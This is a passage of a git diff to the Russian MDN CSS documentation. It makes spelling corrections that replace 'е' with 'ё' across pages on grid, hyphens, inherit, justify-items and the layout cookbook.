<custom-ident>?</code></dt> - <dd>Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчет, начиная с конечного края явной сетки. Если имя задано как <custom-<code>ident</code>>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.</dd> + <dd>Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчёт, начиная с конечного края явной сетки. Если имя задано как <custom-<code>ident</code>>, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.</dd> <dd> <p>An {{cssxref("integer")}} value of <code>0</code> is invalid.</p> </dd> diff --git a/files/ru/web/css/grid-template-areas/index.html b/files/ru/web/css/grid-template-areas/index.html index 6827415b30..3e9a83e744 100644 --- a/files/ru/web/css/grid-template-areas/index.html +++ b/files/ru/web/css/grid-template-areas/index.html @@ -33,7 +33,7 @@ grid-template-areas: unset; <dt><code>none</code></dt> <dd>Контейнер не определяет никаких названий grid-области.</dd> <dt><code>{{cssxref("<string>")}}+</code></dt> - <dd>Строка создается каждым переносом строки, тогда как каждая колонка создается в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создает одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.</dd> + <dd>Строка создаётся каждым переносом строки, тогда как каждая колонка создаётся в каждой из созданных строк. Несколько прописанных маркеров в строке или через строки создаёт одну названную grid-область что покрывает соответствующие ячейки. Прописанные ячейки которые не создают прямоугольник - являются недействительны.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/grid-template-columns/index.html b/files/ru/web/css/grid-template-columns/index.html index fda2e71bb3..546a42ed31 100644 --- a/files/ru/web/css/grid-template-columns/index.html +++ b/files/ru/web/css/grid-template-columns/index.html @@ -59,9 +59,9 @@ grid-template-columns: unset; <dt><code>min-content</code></dt> <dd>Ключевое слово обозначающее самый большой из минимальных контентов элементов расположенных в данном треке.</dd> <dt><code>{{cssxref("minmax", "minmax(min, max)")}}</code></dt> - <dd>Функциональное обозначение, которое задает диапазон больший или равный <em>min</em> и меньший или равный <em>max</em>. Если <em>max</em> меньше чем <em>min</em>, тогда <em>max</em> игнорируется и эта функция рассматривается как <em>min</em>. Максимумом значение <code><flex></code> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.</dd> + <dd>Функциональное обозначение, которое задаёт диапазон больший или равный <em>min</em> и меньший или равный <em>max</em>. Если <em>max</em> меньше чем <em>min</em>, тогда <em>max</em> игнорируется и эта функция рассматривается как <em>min</em>. Максимумом значение <code><flex></code> устанавливает flex фактор линии (track’s flex factor). Оно не действительно как минимальное.</dd> <dt id="auto"><code>auto</code></dt> - <dd>Это ключевое слово идентично <code>max-content</code>, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определен в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.</dd> + <dd>Это ключевое слово идентично <code>max-content</code>, если оно максимальное. Как минимальное, оно представляет наиболее минимальный размер (который определён в свойствах {{cssxref("min-width")}}/{{cssxref("min-height")}}) элементов сетки, занимающих данный трек.</dd> <dd> <p class="note">Обратите внимание: Только <code>auto</code> размеры трека могут быть растянуты свойствами {{cssxref("align-content")}} и {{cssxref("justify-content")}}.</p> </dd> diff --git a/files/ru/web/css/grid-template-rows/index.html b/files/ru/web/css/grid-template-rows/index.html index a6d1c4b36b..e4343f33b6 100644 --- a/files/ru/web/css/grid-template-rows/index.html +++ b/files/ru/web/css/grid-template-rows/index.html @@ -52,7 +52,7 @@ grid-template-rows: unset; <dt><code><length></code></dt> <dd>Неотрицательное значение размера.</dd> <dt><code><percentage></code></dt> - <dd>Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как <code>auto</code>. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учету процента.</dd> + <dd>Неотрицательное значение {{cssxref("percentage", "<percentage>")}} , относительно размера блока сетки контейнера. Если размер сетки контейнера зависит от размера его пути, то процент должен рассматриваться как <code>auto</code>. Собственный размер вкладов пути может быть скорректирован в соответствии с размером сетки контейнера и увеличить конечный размер пути на минимальную величину, которая привела бы к учёту процента.</dd> <dd><br> <strong>{{cssxref("<flex_value>","<flex>")}}</strong><br> Is a non-negative dimension with the unit <code>fr</code> specifying the track’s flex factor. Each <code><flex></code>-sized track takes a share of the remaining space in proportion to its flex factor. When appearing outside a <code>minmax()</code> notation, it implies an automatic minimum (i.e. <code>minmax(auto, <flex>)</code>).</dd> diff --git a/files/ru/web/css/grid/index.html b/files/ru/web/css/grid/index.html index 5ae9d4a987..35d648aa50 100644 --- a/files/ru/web/css/grid/index.html +++ b/files/ru/web/css/grid/index.html @@ -10,9 +10,9 @@ translation_of: Web/CSS/grid --- <h2 id="Общие_сведения">Общие сведения</h2> -<p>Свойство CSS <strong><code>grid</code></strong> является сокращенной формой записи, которая устанавливает значения для всех явных свойств сетки (grid) ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.</p> +<p>Свойство CSS <strong><code>grid</code></strong> является сокращённой формой записи, которая устанавливает значения для всех явных свойств сетки (grid) ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.</p> -<p class="note"><strong>Note:</strong> В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращенных формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращенной формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращенной форме записи.</p> +<p class="note"><strong>Note:</strong> В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращённых формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращённой формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установлены в сокращённой форме записи.</p> <p>{{cssinfo}}</p> @@ -176,7 +176,7 @@ grid: unset; <p>[2] Реализован за преимуществом <code>layout.css.grid.enabled</code> начиная с Gecko 40.0 {{geckoRelease("40.0")}}, имея значение по умолчанию <code>false</code>. Начиная с Gecko 52.0 включено по умолчанию.</p> -<p>[3] Internet Explorer и Edge реализуют <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">старую версию спецификации</a>, которая не поддерживает сокращенную форму записи <code>grid. Смотри </code><a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">request for updating the implementation</a>.</p> +<p>[3] Internet Explorer и Edge реализуют <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">старую версию спецификации</a>, которая не поддерживает сокращённую форму записи <code>grid. Смотри </code><a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">request for updating the implementation</a>.</p> <p>[4] Реализован до функциональных возможностей экспериментальной веб-платформы в <code>chrome://flags</code> начиная с Opera 28.0.</p> diff --git a/files/ru/web/css/hanging-punctuation/index.html b/files/ru/web/css/hanging-punctuation/index.html index 15aee9db7b..b150404bab 100644 --- a/files/ru/web/css/hanging-punctuation/index.html +++ b/files/ru/web/css/hanging-punctuation/index.html @@ -37,7 +37,7 @@ hanging-punctuation: unset; <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>hanging-punctuation</code> может быть определено с помощью одного, двух или трех ключевых слов.</p> +<p>Свойство <code>hanging-punctuation</code> может быть определено с помощью одного, двух или трёх ключевых слов.</p> <ul> <li>Для <strong>одного значения</strong> может быть использовано любое из описанных ниже значений.</li> @@ -47,7 +47,7 @@ hanging-punctuation: unset; <li><code>last</code> вместе с одним из <code>first</code>, <code>allow-end</code> или <code>force-end</code></li> </ul> </li> - <li>Для <strong>трех значений</strong> используются один из следующих вариантов: + <li>Для <strong>трёх значений</strong> используются один из следующих вариантов: <ul> <li><code>first</code>, <code>allow-end</code> и <code>last</code></li> <li><code>first</code>, <code>force-end</code> и <code>last</code></li> diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html index 5a256e224d..6bf95b2456 100644 --- a/files/ru/web/css/hyphens/index.html +++ b/files/ru/web/css/hyphens/index.html @@ -53,7 +53,7 @@ hyphens: unset; <dl> <dt>U+2010 (HYPHEN)</dt> - <dd><font>«Жесткий» дефис указывает на возможность видимого разрыва строки. </font><font>Даже если строка в этом месте не переносится, дефис все равно отображается.</font></dd> + <dd><font>«Жёсткий» дефис указывает на возможность видимого разрыва строки. </font><font>Даже если строка в этом месте не переносится, дефис все равно отображается.</font></dd> <dt>U+00AD (SHY)</dt> <dd>Невидимый <font>«</font>мягкий<font>»</font> перенос. Этот символ не отображается визуально, вместо этого он отмечает место, где браузер должен разорвать слово, если расстановка переносов необходима. В HTML, используйте <code>&shy;</code> для вставки мягкого дефиса.</dd> </dl> diff --git a/files/ru/web/css/image-set()/index.html b/files/ru/web/css/image-set()/index.html index f837d98a4b..9f00bc8ca7 100644 --- a/files/ru/web/css/image-set()/index.html +++ b/files/ru/web/css/image-set()/index.html @@ -34,7 +34,7 @@ translation_of: Web/CSS/image-set() <h2 id="Вопросы_доступности">Вопросы доступности</h2> -<p>Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своем присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать ее семантически в документе.</p> +<p>Браузеры не предоставляют никакой специальной информации о фоновых изображениях для вспомогательных технологий. Это важно прежде всего для экранных считывающих технологий, так как они не объявят о своём присутствии и поэтому ничего не передадут своим пользователям. Если изображение содержит информацию, критически важную для понимания общего назначения страницы, лучше описать её семантически в документе.</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li> diff --git a/files/ru/web/css/index.html b/files/ru/web/css/index.html index 128ae1fda3..eb959f3866 100644 --- a/files/ru/web/css/index.html +++ b/files/ru/web/css/index.html @@ -8,7 +8,7 @@ tags: - Learning - Reference - Référence(2) - - Верстка + - Вёрстка - Главная - Дизайн - Справка diff --git a/files/ru/web/css/inherit/index.html b/files/ru/web/css/inherit/index.html index 5304dc4d9d..b24d30e524 100644 --- a/files/ru/web/css/inherit/index.html +++ b/files/ru/web/css/inherit/index.html @@ -24,10 +24,10 @@ translation_of: Web/CSS/inherit <h2 id="Пример">Пример</h2> -<pre class="brush: css">/* Делает заголовки второго уровня зелеными */ +<pre class="brush: css">/* Делает заголовки второго уровня зелёными */ h2 { color: green; } -/* ...но не делает зелеными элементы боковой панели, которые используют цвет своего родителя */ +/* ...но не делает зелёными элементы боковой панели, которые используют цвет своего родителя */ #sidebar h2 { color: inherit; } </pre> @@ -83,5 +83,5 @@ div#current { color: blue; } <li><code>Используйте {{cssxref("initial")}}, чтобы установить свойство в его начальное значение.</code></li> <li><code>Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.</code></li> <li><code>Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).</code></li> - <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.</code></li> + <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.</code></li> </ul> diff --git a/files/ru/web/css/initial/index.html b/files/ru/web/css/initial/index.html index 65187f0ab5..5bc7850151 100644 --- a/files/ru/web/css/initial/index.html +++ b/files/ru/web/css/initial/index.html @@ -79,5 +79,5 @@ em { <li><code>Используйте {{cssxref("unset")}}, чтобы установить свойство в его унаследованное значение, если оно наследует, или его начальное значение, если нет.</code></li> <li><code>Используйте {{cssxref("revert")}} для сброса свойства до значения, установленного таблицей стилей пользователя-агента (или стилями пользователя, если они существуют).</code></li> <li>Используйте свойство {{cssxref("inherit")}}, чтобы установить свойство элемента таким же значением, как у его родителя.</li> - <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращенного (reverted) или неустановленного (unset) состояния.</code></li> + <li><code>Свойство {{cssxref("all")}} позволяет сбросить все свойства сразу до начального (initial), унаследованного (inherited), возвращённого (reverted) или неустановленного (unset) состояния.</code></li> </ul> diff --git a/files/ru/web/css/inset/index.html b/files/ru/web/css/inset/index.html index 8cbf51bf1d..88071325e5 100644 --- a/files/ru/web/css/inset/index.html +++ b/files/ru/web/css/inset/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/inset --- <div>{{CSSRef}}{{SeeCompatTable}}</div> -<p>Свойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset</code></strong> определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определенных для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.</p> +<p>Свойство <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>inset</code></strong> определяет логический блок и встроенные начальное и конечное смещения элемента, которые отображают физическое смещение, зависящее от способа записи, направления и ориентации текста. Оно соответствует свойствам {{cssxref("top")}} и {{cssxref("bottom")}}, или {{cssxref("right")}} и {{cssxref("left")}}, в зависимости от значений, определённых для {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.</p> <pre class="brush:css no-line-numbers">/* <length> значения */ inset: 3px 10px 3px 10px; diff --git a/files/ru/web/css/integer/index.html b/files/ru/web/css/integer/index.html index c608250e6c..a7240a3e81 100644 --- a/files/ru/web/css/integer/index.html +++ b/files/ru/web/css/integer/index.html @@ -33,7 +33,7 @@ translation_of: Web/CSS/integer <pre class="example-bad">12.0 Это <number>, а не <integer>, хоть и представляется как целое число. 12. "Дробные" точки запрещены. -+---12 Разрешен только один предшествующий символ +/-. ++---12 Разрешён только один предшествующий символ +/-. десять Буквы запрещены. _5 Специальные знаки запрещены. \35 Экранированные символы Юникода запрещены, даже если они являются целым числом (здесь: 5). diff --git a/files/ru/web/css/isolation/index.html b/files/ru/web/css/isolation/index.html index 52deb89e55..7153c6f925 100644 --- a/files/ru/web/css/isolation/index.html +++ b/files/ru/web/css/isolation/index.html @@ -3,7 +3,7 @@ title: isolation slug: Web/CSS/isolation tags: - Контекст наложения - - Очередность + - Очерёдность - Порядок отрисовки translation_of: Web/CSS/isolation --- @@ -35,7 +35,7 @@ isolation: unset; <dl> <dt><code>auto</code></dt> - <dd>Новый контекст наложения создается только в том случае, если это требуется для одного из свойств, применяемых к элементу.</dd> + <dd>Новый контекст наложения создаётся только в том случае, если это требуется для одного из свойств, применяемых к элементу.</dd> <dt><code>isolate</code></dt> <dd>Новый контекст наложения должен быть создан.</dd> </dl> diff --git a/files/ru/web/css/justify-content/index.html b/files/ru/web/css/justify-content/index.html index ab44ce45bb..33263a5442 100644 --- a/files/ru/web/css/justify-content/index.html +++ b/files/ru/web/css/justify-content/index.html @@ -14,7 +14,7 @@ translation_of: Web/CSS/justify-content <p>{{EmbedInteractiveExample("pages/css/justify-content.html")}}</p> -<p>Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox разметке</a> есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от <code>0</code>, эффект не будет применен, потому что не останется свободного места.</p> +<p>Выравнивание выполняется после того, как применяются длины и автоматические поля, что означает, что если во <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox разметке</a> есть хотя бы один flex-элемент, с {{cssxref("flex-grow")}} отличным от <code>0</code>, эффект не будет применён, потому что не останется свободного места.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,7 +32,7 @@ justify-content: baseline; justify-content: first baseline; justify-content: last baseline; -/* Распределенное выравнивание */ +/* Распределённое выравнивание */ justify-content: space-between; /* Равномерно распределяет все элементы по ширине flex-блока. Первый элемент вначале, последний в конце */ justify-content: space-around; /* Равномерно распределяет все элементы по ширине flex-блока. @@ -74,7 +74,7 @@ justify-content: unset; <dt><code>right</code></dt> <dd>Элементы располагаются друг за другом и прижимаются к правому краю контейнера по главной оси. Если главная ось не горизонтальна, это значение работает как <code>start</code>.</dd> <dt><code>normal</code></dt> - <dd>Элементы располагаются на своих обычных позициях, так как будто свойство <code>justify-content</code> не задано. Этот параметр ведет себя как <code>stretch</code> в grid и flex контейнерах.</dd> + <dd>Элементы располагаются на своих обычных позициях, так как будто свойство <code>justify-content</code> не задано. Этот параметр ведёт себя как <code>stretch</code> в grid и flex контейнерах.</dd> <dt><code>baseline<br> first baseline</code><br> <code>last baseline</code></dt> diff --git a/files/ru/web/css/justify-items/index.html b/files/ru/web/css/justify-items/index.html index 4e28a766e9..e33b891277 100644 --- a/files/ru/web/css/justify-items/index.html +++ b/files/ru/web/css/justify-items/index.html @@ -65,7 +65,7 @@ justify-items: initial; justify-items: unset; </pre> -<p>Этот атрибут может принимать одну из четырех различных форм:</p> +<p>Этот атрибут может принимать одну из четырёх различных форм:</p> <ul> <li>Основные ключевые слова: одно из значений ключевого слова: <code>normal</code>, <code>auto</code>, или <code>stretch</code>.</li> @@ -83,10 +83,10 @@ justify-items: unset; <dd>Эффект этого атрибута зависит от выбранного способа разметки: <ul> <li>Используя разметку с помощью блоков (block-level layout), это ключевое слово является синонимом слова <code>start</code></li> - <li>Для разметки с абсолютно позиционированный элементами, это ключевое слово ведет себя как <code>start</code> на замененных блоках с абсолютным позиционированием и как <code>stretch</code> на всех остальных блоках с абсолютным позиционированием</li> + <li>Для разметки с абсолютно позиционированный элементами, это ключевое слово ведёт себя как <code>start</code> на заменённых блоках с абсолютным позиционированием и как <code>stretch</code> на всех остальных блоках с абсолютным позиционированием</li> <li>Используя разметку с помощью ячеек таблицы (table cell layout), это ключевое слово не имеет значения, так как этот атрибут <em>игнорируется</em></li> <li>Используя разметку с помощью гибких блоков (flexbox layout), это ключевое слово не имеет значения, так как этот атрибут <em>игнорируется</em></li> - <li>Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению <code>stretch</code>, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведет себя как <code>start</code></li> + <li>Используя разметку с помощью сетки (grid layout), это ключевое слово приводит к поведению, аналогичному поведению <code>stretch</code>, за исключением блоков с соотношением сторон или внутренних размеров, где оно ведёт себя как <code>start</code></li> </ul> </dd> <dt><code>start</code></dt> @@ -104,22 +104,22 @@ justify-items: unset; <dt><code>center</code></dt> <dd>Элементы выравниваются на одном уровне друг с другом по направлению к центру контейнера выравнивания.</dd> <dt><code>left</code></dt> - <dd>Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведет себя как <code>start</code>.</dd> + <dd>Элементы выравниваются на одном уровне друг с другом по направлению к левой границе контейнера выравнивания. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как <code>start</code>.</dd> <dt><code>right</code></dt> - <dd>Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведет себя как <code>start</code>.</dd> + <dd>Элементы выравниваются на одном уровне друг с другом по направлению к правой границе контейнера выравнивания по соответствующей оси. Если ось свойства не параллельна внутренней оси, это значение ведёт себя как <code>start</code>.</dd> <dt><code>baseline<br> first baseline</code><br> <code>last baseline</code></dt> <dd>Определяет участие значений <code>first baseline</code> или <code>last baseline</code> в исходном выравнивании. Значение <code>baseline</code> выравнивает первый или последний блок набора в соответствии с исходным выравниванием в общем первом или последнем наборе всех блоков в его совместной группе исходного выравнивания.</dd> <dd>Возвратным выравниванием для <code>first baseline</code> является значение <code>start</code>, для <code>last baseline</code> является значение <code>end</code>.</dd> <dt><code>stretch</code></dt> - <dd>Если объединенный размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением <code>auto</code> увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединенный размер точно заполняет контейнер выравнивания.</dd> + <dd>Если объединённый размер элементов меньше, чем размер контейнера выравнивания, то размер любого элемента со значением <code>auto</code> увеличивается одинаково (не пропорционально), но при этом соблюдаются ограничения, налагаемые {{CSSxRef("max-height")}}/{{CSSxRef("max-width")}} (или эквивалентной функциональностью), таким образом, что объединённый размер точно заполняет контейнер выравнивания.</dd> <dt><code>safe</code></dt> <dd>Если размер элемента выходит за пределы контейнера выравнивания, элемент выравнивается, как если бы режим выравнивания имел значение <code>start</code>.</dd> <dt><code>unsafe</code></dt> <dd>Независимо от относительных размеров элемента и контейнера выравнивания, данное значение выравнивания учитывается.</dd> <dt><code>legacy</code></dt> - <dd>Создает значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение <code>justify-self: auto</code>, ключевое слово <code>legacy</code> не учитывается по нисходящему наследованию. Действует только со значением <code>left</code>, <code>right</code>, или <code>center</code>, связанным с ним.</dd> + <dd>Создаёт значение, унаследованное потомками блока. Обратите внимание, что если потомок имеет значение <code>justify-self: auto</code>, ключевое слово <code>legacy</code> не учитывается по нисходящему наследованию. Действует только со значением <code>left</code>, <code>right</code>, или <code>center</code>, связанным с ним.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -164,7 +164,7 @@ justify-items: unset; <ul> <li>CSS Руководство по Grid: <em><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Выравнивание блоков в разметке Grid</a></em></li> <li><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">CSS Выравнивание блоков</a></li> - <li>Сокращенный атрибут {{CSSxRef("place-items")}}</li> + <li>Сокращённый атрибут {{CSSxRef("place-items")}}</li> <li>Атрибут {{CSSxRef("justify-self")}}</li> <li>Атрибут {{CSSxRef("align-items")}}</li> </ul> diff --git a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html index 6dab482257..ee254f16d9 100644 --- a/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation --- <div>{{CSSRef}}</div> -<p class="summary">Навигация по хлебным крошкам помогает пользователю понять свое местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.</p> +<p class="summary">Навигация по хлебным крошкам помогает пользователю понять своё местоположение на веб-сайте, обеспечивая обратный путь к начальной странице.</p> <p><img alt="Links displayed inline with separators" src="https://mdn.mozillademos.org/files/16228/breadcrumb-navigation.png" style="height: 108px; width: 1268px;"></p> @@ -22,7 +22,7 @@ translation_of: Web/CSS/Layout_cookbook/Breadcrumb_Navigation </div> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: В приведенном выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:</p> +<p><strong>Примечание</strong>: В приведённом выше примере используются два селектора для вставки содержимого перед каждым li, кроме первого. Этого также можно добиться, используя только один селектор:</p> <pre class="notranslate">.breadcrumb li:not(:first-child)::before { content: "→"; diff --git a/files/ru/web/css/layout_cookbook/index.html b/files/ru/web/css/layout_cookbook/index.html index ca19142c28..898ba58672 100644 --- a/files/ru/web/css/layout_cookbook/index.html +++ b/files/ru/web/css/layout_cookbook/index.html @@ -11,12 +11,12 @@ tags: translation_of: Web/CSS/Layout_cookbook --- <div>{{CSSRef}}<br> -Книга рецептов CSS объединяет примеры большинства наиболее распространенных лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.<br> +Книга рецептов CSS объединяет примеры большинства наиболее распространённых лейаут паттернов, которые могу встретиться вам при разработке веб-сайтов.<br> <br> В дополнение к представленным примерам кода, - которые вы вполне можете использовать в качестве отправной точки для своих проектов, - эти рецепты иллюстрируют нестандартные способы применения существующих лейаут (layout) спецификаций. Паттерны, представленные ниже, должны помочь вам увидеть новые варианты решения проблем, встречающихся в жизни разработчика.</div> <div><br> -<strong>Примечание.</strong> Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведенных здесь рецептов.</div> +<strong>Примечание.</strong> Если вы новичок в в работе с CSS, то сначала вы можете взглянуть на наш модуль обучения макетам CSS, так как он даст вам базовые знания, необходимые для использования приведённых здесь рецептов.</div> <h2 id="The_Recipes">The Recipes</h2> diff --git a/files/ru/web/css/layout_cookbook/split_navigation/index.html b/files/ru/web/css/layout_cookbook/split_navigation/index.html index 5f08999af1..c6b66d5e2f 100644 --- a/files/ru/web/css/layout_cookbook/split_navigation/index.html +++ b/files/ru/web/css/layout_cookbook/split_navigation/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/Layout_cookbook/Split_Navigation <h2 id="Требования">Требования</h2> -<p>Распространенный навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. </p> +<p>Распространённый навигационный шаблон имеет один элемент, который отделен от остальных. Мы можем использовать Flexbox для того, чтобы сделать это, без необходимости создавать два набора элементов в двух раздельных flex контейнерах. </p> <h2 id="Рецепт">Рецепт</h2> diff --git a/files/ru/web/css/layout_cookbook/sticky_footers/index.html b/files/ru/web/css/layout_cookbook/sticky_footers/index.html index 945d727438..d5cc1a5c97 100644 --- a/files/ru/web/css/layout_cookbook/sticky_footers/index.html +++ b/files/ru/web/css/layout_cookbook/sticky_footers/index.html @@ -33,7 +33,7 @@ translation_of: Web/CSS/Layout_cookbook/Sticky_footers <h2 id="Выбор_сделан">Выбор сделан</h2> -<p>В приведенном выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс <code>.wrapper</code> имеет минимальную высоту <code>100%</code>, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаем сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.</p> +<p>В приведённом выше примере мы получаем липкий нижний колонтитул, используя CSS Grid Layout. Класс <code>.wrapper</code> имеет минимальную высоту <code>100%</code>, что означает, что он такой же высоты, как и контейнер, в котором он находится. Затем мы создаём сетку с одним столбцом с тремя строками, по одной строке для каждой части нашего макета.</p> <p>При автоматическом размещении сетки наши элементы будут располагаться в исходном порядке, поэтому заголовок переходит на первую дорожку с автоматическими размерами, основное содержимое - на дорожку <code>1fr</code>, а нижний колонтитул - в конечную дорожку с автоматическими размерами. Трек <code>1fr</code> будет занимать все доступное пространство и поэтому будет увеличиваться, чтобы заполнить этот пробел.</p> diff --git a/files/ru/web/css/line-break/index.html b/files/ru/web/css/line-break/index.html index 77a60084f0..3fd8255f5a 100644 --- a/files/ru/web/css/line-break/index.html +++ b/files/ru/web/css/line-break/index.html @@ -33,7 +33,7 @@ line-break: unset; <dt><code>loose</code></dt> <dd>Разрыв текста, используя правило разрыва строки с наименьшими ограничениями. Обычно используется для коротких строк, например, в газетах.</dd> <dt><code>normal</code></dt> - <dd>Разрыв текста, используя наиболее распространенное правило разрыва строки.</dd> + <dd>Разрыв текста, используя наиболее распространённое правило разрыва строки.</dd> <dt><code>strict</code></dt> <dd>Разрыв текста, используя самое строгое правило разрыва строки.</dd> </dl> diff --git a/files/ru/web/css/list-style-image/index.html b/files/ru/web/css/list-style-image/index.html index fd53b2bf17..75ab704334 100644 --- a/files/ru/web/css/list-style-image/index.html +++ b/files/ru/web/css/list-style-image/index.html @@ -40,7 +40,7 @@ list-style-image: unset; <dt>{{cssxref("<url>")}}</dt> <dd>Расположение элемента для использования в качестве маркера.</dd> <dt><code>none</code></dt> - <dd>Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определенный в {{ Cssxref("list-style-type") }}.</dd> + <dd>Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определённый в {{ Cssxref("list-style-type") }}.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/margin-inline-start/index.html b/files/ru/web/css/margin-inline-start/index.html index 5021330969..cc9db43bce 100644 --- 